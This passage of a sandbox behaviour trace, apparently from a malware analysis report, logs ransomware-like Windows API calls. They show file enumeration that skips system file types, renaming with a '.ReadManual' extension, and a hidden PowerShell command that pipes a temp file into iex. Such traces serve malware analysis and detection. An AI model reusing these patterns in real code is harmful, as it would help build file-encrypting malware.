lpPerformanceCount=0x434fd90*=39534147754) returned 1 [0274.673] CloseHandle (hObject=0x184) returned 1 [0274.673] SetSecurityInfo () returned 0x57 [0274.673] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.673] CloseHandle (hObject=0x194) returned 1 [0274.673] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x230f6700, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x230f6700, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x41c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00820_.WMF", cAlternateFileName="")) returned 1 [0274.673] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00820_.WMF" | out: lpString1="SO00820_.WMF") returned="SO00820_.WMF" [0274.673] lstrcmpiW (lpString1="SO00820_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.673] StrStrIW (lpFirst="SO00820_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.673] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.673] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.673] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.673] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.673] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.673] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.673] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.673] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.673] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.673] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.673] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.673] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.673] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.673] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.674] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" [0274.674] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF.ReadManual.5A595725" [0274.674] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF.ReadManual.5A595725") returned 87 [0274.674] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39534237353) returned 1 [0274.674] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf")) returned 0x20 [0274.674] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.674] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16834) returned 1 [0274.674] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x41c2, lpName=0x0) returned 0x184 [0274.674] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.675] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.675] WriteFile (hFile=0x194, lpBuffer=0x434fc88, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0) Thread: id = 171 os_tid = 0x990 [0206.898] GetCurrentThreadId () returned 0x990 [0273.997] GetCurrentThreadId () returned 0x990 Thread: id = 172 os_tid = 0x980 [0206.901] GetCurrentThreadId () returned 0x980 [0274.053] GetCurrentThreadId () returned 0x980 Process: id = "2" image_name = "splwow64.exe" filename = "c:\\windows\\splwow64.exe" page_root = "0x231af000" os_pid = "0x6f0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x440" cmd_line = "C:\\Windows\\splwow64.exe 12288" cur_dir = "C:\\Windows\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x70c Thread: id = 4 os_tid = 0x57c Thread: id = 5 os_tid = 0x780 Thread: id = 6 os_tid = 0x208 Thread: id = 7 os_tid = 0x7d0 Thread: id = 8 os_tid = 0x788 Thread: id = 9 os_tid = 0x798 Thread: id = 11 os_tid = 0x410 Process: id = "3" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x4893c000" os_pid = "0x64" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x440" cmd_line = "powershell.exe -windowstyle hidden -c $mypid='1088';[System.IO.File]::ReadAllText('C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\~18119777.tmp')|iex" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 12 os_tid = 0x360 [0052.829] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0052.999] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0052.999] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0052.999] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0052.999] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0053.748] GetVersionExW (in: lpVersionInformation=0x391dc0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x391dc0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0053.748] GetLastError () returned 0x2 [0053.749] GetVersionExW (in: lpVersionInformation=0x391dc0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x391dc0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0053.749] GetLastError () returned 0x2 [0053.756] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e4bc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0053.756] GetLastError () returned 0x2 [0053.764] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e4d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0053.764] GetLastError () returned 0x2 [0053.764] GetVersionExW (in: lpVersionInformation=0x391dc0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x391dc0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0053.764] GetLastError () returned 0x2 [0053.765] SetErrorMode (uMode=0x1) returned 0x1 [0053.766] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x25e958 | out: lpFileInformation=0x25e958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0053.766] GetLastError () returned 0x2 [0053.766] SetErrorMode (uMode=0x1) returned 0x1 [0053.770] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x25e9dc | out: lpdwHandle=0x25e9dc) returned 0x94c [0053.772] GetLastError () returned 0x0 [0053.773] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2a84e38 | out: lpData=0x2a84e38) returned 1 [0053.776] VerQueryValueW (in: pBlock=0x2a84e38, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x25e9a8, puLen=0x25e9a4 | out: lplpBuffer=0x25e9a8*=0x2a84ed4, puLen=0x25e9a4) returned 1 [0053.778] lstrlenW (lpString="䅁") returned 1 [0053.788] VerQueryValueW (in: pBlock=0x2a84e38, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x25e924, puLen=0x25e920 | out: lplpBuffer=0x25e924*=0x2a84fb0, puLen=0x25e920) returned 1 [0053.789] lstrlenW (lpString="Microsoft Corporation") returned 21 [0053.790] lstrcpyW (in: lpString1=0x391da8, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0053.790] VerQueryValueW (in: pBlock=0x2a84e38, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x25e924, puLen=0x25e920 | out: lplpBuffer=0x25e924*=0x2a85004, puLen=0x25e920) returned 1 [0053.790] lstrlenW (lpString="System.Management.Automation") returned 28 [0053.790] lstrcpyW (in: lpString1=0x391da8, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0053.790] VerQueryValueW (in: pBlock=0x2a84e38, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x25e924, puLen=0x25e920 | out: lplpBuffer=0x25e924*=0x2a85060, puLen=0x25e920) returned 1 [0053.790] lstrlenW (lpString="6.1.7601.17514") returned 14 [0053.790] lstrcpyW (in: lpString1=0x391da8, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0053.790] VerQueryValueW (in: pBlock=0x2a84e38, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x25e924, puLen=0x25e920 | out: lplpBuffer=0x25e924*=0x2a850a0, puLen=0x25e920) returned 1 [0053.790] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0053.790] lstrcpyW (in: lpString1=0x391da8, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0053.791] VerQueryValueW (in: pBlock=0x2a84e38, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x25e924, puLen=0x25e920 | out: lplpBuffer=0x25e924*=0x2a85108, puLen=0x25e920) returned 1 [0053.791] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0053.791] lstrcpyW (in: lpString1=0x391da8, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0053.791] VerQueryValueW (in: pBlock=0x2a84e38, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x25e924, puLen=0x25e920 | out: lplpBuffer=0x25e924*=0x2a851a4, puLen=0x25e920) returned 1 [0053.791] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0053.791] lstrcpyW (in: lpString1=0x391da8, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0053.791] VerQueryValueW (in: pBlock=0x2a84e38, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x25e924, puLen=0x25e920 | out: lplpBuffer=0x25e924*=0x2a85208, puLen=0x25e920) returned 1 [0053.791] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0053.791] lstrcpyW (in: lpString1=0x391da8, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0053.791] VerQueryValueW (in: pBlock=0x2a84e38, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x25e924, puLen=0x25e920 | out: lplpBuffer=0x25e924*=0x2a85284, puLen=0x25e920) returned 1 [0053.791] lstrlenW (lpString="6.1.7601.17514") returned 14 [0053.791] lstrcpyW (in: lpString1=0x391da8, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0053.791] VerQueryValueW (in: pBlock=0x2a84e38, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x25e924, puLen=0x25e920 | out: lplpBuffer=0x25e924*=0x2a84f2c, puLen=0x25e920) returned 1 [0053.791] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0053.791] lstrcpyW (in: lpString1=0x391da8, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0053.791] VerQueryValueW (in: pBlock=0x2a84e38, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x25e924, puLen=0x25e920 | out: lplpBuffer=0x25e924*=0x0, puLen=0x25e920) returned 0 [0053.791] VerQueryValueW (in: pBlock=0x2a84e38, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x25e924, puLen=0x25e920 | out: lplpBuffer=0x25e924*=0x0, puLen=0x25e920) returned 0 [0053.791] VerQueryValueW (in: pBlock=0x2a84e38, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x25e924, puLen=0x25e920 | out: lplpBuffer=0x25e924*=0x0, puLen=0x25e920) returned 0 [0053.791] VerQueryValueW (in: pBlock=0x2a84e38, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x25e918, puLen=0x25e914 | out: lplpBuffer=0x25e918*=0x2a84ed4, puLen=0x25e914) returned 1 [0053.793] VerLanguageNameW (in: wLang=0x0, szLang=0x391da8, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0053.795] VerQueryValueW (in: pBlock=0x2a84e38, lpSubBlock="\\", lplpBuffer=0x25e92c, puLen=0x25e928 | out: lplpBuffer=0x25e92c*=0x2a84e60, puLen=0x25e928) returned 1 [0053.807] GetCurrentProcessId () returned 0x64 [0053.831] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x25e164 | out: lpLuid=0x25e164*(LowPart=0x14, HighPart=0)) returned 1 [0053.833] GetLastError () returned 0x0 [0053.834] GetCurrentProcess () returned 0xffffffff [0053.834] GetLastError () returned 0x0 [0053.837] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x25e160 | out: TokenHandle=0x25e160*=0x314) returned 1 [0053.837] GetLastError () returned 0x0 [0053.841] AdjustTokenPrivileges (in: TokenHandle=0x314, DisableAllPrivileges=0, NewState=0x2a87978*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0053.841] GetLastError () returned 0x0 [0053.843] CloseHandle (hObject=0x314) returned 1 [0053.843] GetLastError () returned 0x0 [0053.848] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x64) returned 0x314 [0053.848] GetLastError () returned 0x0 [0053.859] EnumProcessModules (in: hProcess=0x314, lphModule=0x2a879bc, cb=0x100, lpcbNeeded=0x25e954 | out: lphModule=0x2a879bc, lpcbNeeded=0x25e954) returned 1 [0053.860] GetLastError () returned 0x0 [0053.863] GetModuleInformation (in: hProcess=0x314, hModule=0x21a40000, lpmodinfo=0x2a87afc, cb=0xc | out: lpmodinfo=0x2a87afc*(lpBaseOfDll=0x21a40000, SizeOfImage=0x72000, EntryPoint=0x21a47363)) returned 1 [0053.863] GetLastError () returned 0x0 [0053.866] GetModuleBaseNameW (in: hProcess=0x314, hModule=0x21a40000, lpBaseName=0x3c9028, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0053.866] GetLastError () returned 0x0 [0053.867] GetModuleFileNameExW (in: hProcess=0x314, hModule=0x21a40000, lpFilename=0x3c9028, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0053.867] GetLastError () returned 0x0 [0053.868] CloseHandle (hObject=0x314) returned 1 [0053.868] GetLastError () returned 0x0 [0053.871] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x64) returned 0x314 [0053.871] GetLastError () returned 0x0 [0053.873] GetExitCodeProcess (in: hProcess=0x314, lpExitCode=0x2a86fac | out: lpExitCode=0x2a86fac*=0x103) returned 1 [0053.873] GetLastError () returned 0x0 [0053.880] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a85278, Length=0x20000, ResultLength=0x25e99c | out: SystemInformation=0x3a85278, ResultLength=0x25e99c*=0xdc68) returned 0x0 [0053.901] EnumWindows (lpEnumFunc=0x2a43612, lParam=0x0) returned 1 [0053.903] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x538 [0053.904] GetLastError () returned 0x0 [0053.904] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.904] GetLastError () returned 0x0 [0053.904] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.904] GetLastError () returned 0x0 [0053.904] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.904] GetLastError () returned 0x0 [0053.904] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x514 [0053.904] GetLastError () returned 0x0 [0053.904] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.904] GetLastError () returned 0x0 [0053.904] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x778 [0053.905] GetLastError () returned 0x0 [0053.905] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x778 [0053.905] GetLastError () returned 0x0 [0053.905] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.905] GetLastError () returned 0x0 [0053.905] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.905] GetLastError () returned 0x0 [0053.905] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.905] GetLastError () returned 0x0 [0053.905] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.905] GetLastError () returned 0x0 [0053.905] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.905] GetLastError () returned 0x0 [0053.905] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.906] GetLastError () returned 0x0 [0053.906] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.906] GetLastError () returned 0x0 [0053.906] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.906] GetLastError () returned 0x0 [0053.906] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.906] GetLastError () returned 0x0 [0053.906] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x458 [0053.906] GetLastError () returned 0x0 [0053.906] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.906] GetLastError () returned 0x0 [0053.906] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.906] GetLastError () returned 0x0 [0053.907] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x9d8 [0053.907] GetLastError () returned 0x0 [0053.907] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x3f8 [0053.907] GetLastError () returned 0x0 [0053.907] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x43c [0053.907] GetLastError () returned 0x0 [0053.907] GetWindowThreadProcessId (in: hWnd=0x50114, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x43c [0053.907] GetLastError () returned 0x0 [0053.907] GetWindowThreadProcessId (in: hWnd=0x5011c, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x43c [0053.907] GetLastError () returned 0x0 [0053.907] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.907] GetLastError () returned 0x0 [0053.907] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.907] GetLastError () returned 0x0 [0053.908] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.908] GetLastError () returned 0x0 [0053.908] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.908] GetLastError () returned 0x0 [0053.908] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.908] GetLastError () returned 0x0 [0053.908] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.908] GetLastError () returned 0x0 [0053.908] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.908] GetLastError () returned 0x0 [0053.908] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.908] GetLastError () returned 0x0 [0053.908] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x9c8 [0053.909] GetLastError () returned 0x0 [0053.909] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x9b8 [0053.909] GetLastError () returned 0x0 [0053.909] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x9a8 [0053.909] GetLastError () returned 0x0 [0053.909] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x998 [0053.909] GetLastError () returned 0x0 [0053.909] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x988 [0053.909] GetLastError () returned 0x0 [0053.909] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x978 [0053.909] GetLastError () returned 0x0 [0053.909] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x968 [0053.909] GetLastError () returned 0x0 [0053.910] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x958 [0053.910] GetLastError () returned 0x0 [0053.910] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x948 [0053.910] GetLastError () returned 0x0 [0053.910] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x938 [0053.910] GetLastError () returned 0x0 [0053.910] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x928 [0053.910] GetLastError () returned 0x0 [0053.910] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x918 [0053.910] GetLastError () returned 0x0 